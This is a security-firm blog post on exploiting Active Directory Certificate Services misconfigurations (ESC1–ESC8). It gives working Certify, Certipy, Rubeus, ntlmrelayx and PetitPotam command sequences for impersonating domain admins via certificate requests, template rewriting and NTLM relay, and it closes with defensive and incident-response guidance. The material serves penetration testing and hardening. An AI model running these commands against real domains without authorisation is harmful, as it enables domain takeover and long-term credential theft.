Exploiting AD CS Vulnerabilities | Redfox Security

redfoxsec.com/blog/exploiting-active-directory-certificate-services-ad-cs

Karan Patel

July 13, 2023

Exploiting Active Directory Certificate Services (AD CS)

- July 13, 2023
- Active Directory
- Karan Patel

With the increasing use of digital certificates for encryption, authentication, and other security purposes, Active Directory Certificate Services (AD CS) has become a critical component in many enterprise environments. However, the security implications of AD CS have often been overlooked, leaving organizations vulnerable to potential attacks and compromise. In this blog, we will delve into the intricacies of Active Directory Certificate Services(AD CS), explore its potential risks and attack vectors, and provide recommendations for enhancing its security.

Understanding Active Directory Certificate Services (AD CS) What is AD CS?

Active Directory Certificate Services (AD CS) is Microsoft’s Public Key Infrastructure (PKI) implementation that enables the issuance, management, and revocation of digital certificates. These certificates, in the X.509 format, are used for various purposes such as encryption, digital signatures, and user authentication within an Active Directory environment.

The Importance of AD CS Security

Although many aspects of Active Directory have received significant security attention, AD CS has often been overlooked. However, misconfigurations in AD CS instances can lead to severe security consequences. In enterprise environments with widespread AD CS deployment, the risk of certificate abuse and domain escalation is significant. Therefore, it is crucial to understand and address the security implications of AD CS to maintain a robust and secure infrastructure.

The Potential Risks and Attack Vectors

Certificate Abuse: A Gateway for Attackers

AD CS provides attackers with a potential gateway to gain unauthorized access and escalate privileges within an Active Directory environment. By exploiting misconfigurations and vulnerabilities in AD CS, attackers can abuse certificates to authenticate as any user or machine, granting them extensive privileges and compromising the entire domain.

Common Misconfigurations in AD CS

AD CS is susceptible to various misconfigurations that can lead to privilege escalation and compromise. These misconfigurations include granting low-privileged users enrollment rights, disabling manager approval, not requiring authorized signatures, and having overly permissive certificate template security descriptors. Furthermore, misconfigurations related to certificate templates, subject alternative names, and enrollment agent templates can enable attackers to request certificates for unauthorized purposes.

Domain Escalation: A Serious Security Concern

One of the most significant risks associated with AD CS is domain escalation. Through various misconfigurations and vulnerabilities in AD CS, attackers can escalate their privileges within the domain and gain unauthorized access to sensitive resources. This can have severe consequences for the security and integrity of an organization’s infrastructure.

Exploring Active Directory Certificate Services

PKI and AD CS Integration

AD CS serves as Microsoft's PKI implementation, tightly integrated with Active Directory. It enables the issuance of certificates that bind an identity to a public/private key pair, allowing applications to utilize the key pair as proof of user identity. Certificate Authorities (CAs) play a crucial role in AD CS by issuing certificates and verifying their authenticity.

The Role of Certificate Authorities (CAs)

Certificate Authorities are responsible for issuing digital certificates and verifying the identity of the certificate holder. Within AD CS, CAs can be standalone or integrated with Active Directory as Enterprise CAs. Enterprise CAs offer additional functionality, such as the ability to use certificate templates, which define the settings and policies for issued certificates.

The Significance of Certificate Templates

Certificate templates define the settings and policies for certificates issued by CAs. They encompass various attributes, including the duration of certificate validity, the purpose of the certificate, and the subject specification. Certificate templates also play a crucial role in determining the Extended Key Usage (EKU) options that enable certificate-based authentication to Active Directory.

Subject Alternative Names and their Implications

Subject Alternative Names (SANs) allow multiple identities to be bound to a single certificate. While SANs are useful for scenarios such as hosting content for multiple domains on a web server, they can also pose security risks if combined with certificates that allow domain authentication. Attackers can specify arbitrary SANs when requesting certificates, enabling them to authenticate as any user within the domain.

Authentication with Certificates in Active Directory

AD CS facilitates authentication to Active Directory using certificates. By utilizing certificates with appropriate EKUs, users can authenticate to AD without relying on traditional credentials. This authentication mechanism is particularly relevant for smart card-based networks, where certificates play a crucial role in the authentication process.

Account Persistence and Long-term Credential Theft

One of the significant security implications of AD CS is the potential for long-term credential theft. Once an attacker obtains a certificate associated with a user or machine, they can use it to authenticate to AD for an extended period, even if the user's password is reset. This form of persistence allows attackers to maintain unauthorized access and compromise the domain.

Domain Escalation: Vulnerabilities and Misconfigurations Misconfigured Certificate Templates – ESC1, ESC2, ESC3

Misconfigurations in certificate templates can enable attackers to escalate their privileges within the domain. These misconfigurations include granting low-privileged users enrollment rights, disabling manager approval, not requiring authorized signatures, and having overly permissive certificate template security descriptors. Additionally, misconfigured certificate templates that allow unprivileged users to specify a Subject Alternative Name (SAN) in their certificate requests can lead to unauthorized domain authentication.

ESC1

1) Find vulnerable certificate templates

```
PS C:\temp> .\Certify.exe find /vulnerable
root@kali:~# certipy find -u <domain_user> -p <domain_user_password> -dc-ip
<domain_controller_ip>
```

2) Abuse this vulnerability to impersonate a domain admin :

```
PS C:\temp> .\Certify.exe request /ca:<ca> /template:<vulnerable_template>
/altname:<domain_admin>
root@kali:~# certipy req '<domain_user>:<domain_user_password>@<ca_dns_hostname>'
-ca '<ca>' -template '<vulnerable_template>' -alt '<domain_admin>'
```

3) Authenticate using Rubeus or Certipy:

```
PS C:\temp> .\Rubeus.exe asktgt /user:<domain_admin> /certificate:
<domain_admin.pfx> /password:<domain_admin_password> /ptt
root@kali:~# certipy auth -pfx '<domain_admin.pfx>' -username '<domain_admin>' -
domain '<domain_fqdn>' -dc-ip <domain_controller_ip>
```

ESC2

Find template and request a certificate specifying the /altname as a domain admin like in ESC1

```
PS C:\temp> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!
(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!
(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!
(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=
<domain_name>,DC=local'
```

ESC3

1) Request an enrollment agent certificate

```
root@kali:~# certipy req '<domain_user>:<domain_user_password>@<ca_dns_hostname>'
-ca '<ca>' -template '<vulnerable_template>'
```

2) Enrollment agent certificate to issue a certificate request on behalf of another user to a template that allow for domain authentication

```
root@kali:~# certipy req '<domain_user>:<domain_user_password>@<ca_dns_hostname>'
-ca '<ca>' -template '<vulnerable_template>' -on-behalf-of '<domain_name>\
<domain_admin>' -pfx 'domain_admin.pfx'
```

3) Use Rubeus with the certificate to authenticate as the other user

```
PS C:\temp> .\Rubeus.exe asktgt /user:<domain_name>\<domain_admin>
/certificate:domain_admin.pfx /password:<password>
```

Vulnerable Certificate Template Access Control – ESC4

The security of certificate templates relies on proper access control. If access control is misconfigured, it can allow unintended or unprivileged users to modify sensitive security settings within the templates. For example, granting Domain Computers excessive permissions over a certificate template’s AD object can enable attackers with access to any AD computer to modify the template and exploit its vulnerabilities.

1) Overwrite the configuration to make it vulnerable to ESC1

```
root@kali:~# certipy template '<domain_fqdn>/<domain_user>:
<domain_user_password>@<ca_dns_hostname>' -hashes <hash> -template
'<vulnerable_template>' -save-old
```

2) Request a certificate based on the ESC4 template, just like ESC1

```
root@kali:~# certipy req '<domain_fqdn>/<domain_user>:
<domain_user_password>@<ca_dns_hostname>' -ca '<ca>' -template
'<vulnerable_template>' -alt '<domain_admin>'
```

3) Restore the old configuration

```
root@kali:~# certipy template '<domain_fqdn>/<domain_user>:
<domain_user_password>@<ca_dns_hostname>' -hashes <hash> -template
'<vulnerable_template>' -configuration <vulnerable_template>.json
```

Vulnerable PKI Object Access Control – ESC5

Beyond certificate templates, other objects within AD CS, such as the CA server’s AD computer object, RPC/DCOM servers, and various AD containers, can impact the security of the entire AD CS system. If these objects have insecure access control settings, they can be exploited by attackers to compromise the PKI infrastructure and escalate their privileges within the domain.

The Impact of EDITF_ATTRIBUTESUBJECTALTNAME2 – ESC6

The EDITF_ATTRIBUTESUBJECTALTNAME2 flag allows the inclusion of user-defined values in the Subject Alternative Name (SAN) field of a certificate, even when the subject is built from Active Directory. This flag, when enabled on a CA, can enable attackers to abuse certificate templates that allow domain authentication. By specifying arbitrary SANs, attackers can authenticate as any user, including domain administrators, posing a significant security risk.

Flaws in Certificate Authority Access Control – ESC7

Certificate Authorities (CAs) have permissions that secure various actions within AD CS. The ManageCA permission grants administrative privileges, allowing modifications to persistent configuration data, including the ability to enable the

EDITF_ATTRIBUTESUBJECTALTNAME2 flag. The ManageCertificates permission, on the other hand, enables the approval of pending certificate requests, potentially bypassing the manager approval requirement.

NTLM Relay to Active Directory Certificate Services HTTP Endpoints: An Escalation Path – ESC8

AD CS supports several HTTP-based enrollment methods through additional server roles. However, these endpoints are vulnerable to NTLM relay attacks, allowing attackers to impersonate authenticated users and request certificates based on vulnerable certificate templates. This attack vector can result in domain compromise, especially when combined with misconfigured templates that allow domain computer enrollment and client authentication.

1) NTLM Relay Setup

```
root@kali:~# impacket-ntlmrelayx -t http://<ca-server>/certsrv/certfnsh.asp -
smb2support --adcs --template <vulnerable_template>
```

2) Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

```
root@kali:~# python3 petitpotam.py -d '<domain_fqdn>' -u '<domain_user>' -p
'<domain_user_password>' <attacker_ip> <target_ip>
```

3) Use the certificate with Rubeus to request a TGT

```
PS C:\temp> .\Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate>
/ptt
```

Defensive Measures and Incident Response

Preventative Controls and Best Practices

To enhance the security of AD CS, organizations should implement preventative controls and adhere to best practices. These measures include configuring proper access control for certificate templates, enabling manager approval, requiring authorized signatures, and ensuring secure PKI object access control. Additionally, organizations should enforce HTTPS or disable HTTP-based enrollment interfaces and audit their AD CS architecture and certificate templates regularly.

Detecting and Mitigating Privilege Escalation Vulnerabilities

Detecting and mitigating privilege escalation vulnerabilities in AD CS requires a comprehensive approach. Organizations should leverage tools and scripts, such as PSPKIAudit and Get-CertRequest, to audit and triage certificates associated with compromised accounts. Incident responders should not only reset passwords and reimage compromised machines but also invalidate any certificates tied to compromised accounts to prevent long-term credential theft.

Incident Response: Beyond Password Resets and Reimaging

Traditional incident response measures, such as password resets and system reimaging, are insufficient when dealing with AD CS-related security incidents. Incident responders should thoroughly investigate the compromise and identify any certificates associated with the compromised accounts. These certificates should be immediately invalidated to prevent unauthorized access and maintain the integrity of the domain.

The Importance of Invalidating Compromised Certificates

Invalidating compromised certificates is a crucial step in incident response and mitigating the risks associated with AD CS-related attacks. By revoking or invalidating certificates associated with compromised accounts, organizations can prevent unauthorized access and limit the potential damage caused by certificate abuse.

Recommendations for AD CS Security

Disabling and Securing Web Enrollment Interfaces

To minimize the attack surface of AD CS, organizations should consider disabling or securing web enrollment interfaces. Achieving this involves removing unnecessary interfaces, disabling NTLM authentication, enforcing HTTPS traffic, and implementing Extended Protection for Authentication (EPA) on IIS servers hosting the enrollment applications.

Auditing Active Directory Certificate Services Architecture and Certificate Templates

Regular auditing of AD CS architecture and certificate templates is essential to identify and address potential vulnerabilities. Organizations should review and validate the security settings of certificate templates, such as enrollment rights, manager approval, authorized signatures, and access control. Additionally, CA servers, including subordinate CAs, should be treated as Tier 0 assets and protected accordingly.

Treating CA Servers as Tier 0 Assets

Given the critical role of CA servers in AD CS, organizations should treat them as Tier 0 assets, similar to Domain Controllers. This includes implementing stringent access controls, regular patching and monitoring, and restricting physical and logical access to these servers. By applying Tier 0 security measures, organizations can enhance the overall security of their AD CS infrastructure.

TL;DR

Active Directory Certificate Services (AD CS) plays a significant role in securing digital certificates within an enterprise environment. However, the security implications of AD CS are often underestimated, leaving organizations vulnerable to attacks and compromise. By understanding the potential risks, implementing robust security measures, and adhering to best practices, organizations can enhance the security of their AD CS infrastructure and mitigate the risks associated with certificate abuse and domain escalation.

Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. If you are looking to improve your organization's security posture, **contact us** today to discuss your security testing needs. Our team of security professionals can help you **identify vulnerabilities and weaknesses in your systems, and provide recommendations to remediate them**.

“Join us on our journey of growth and development by signing up for our comprehensive **courses**.“

PreviousA Comprehensive Guide to Android Penetration Testing
NextAS-REP Roasting

Recent Blog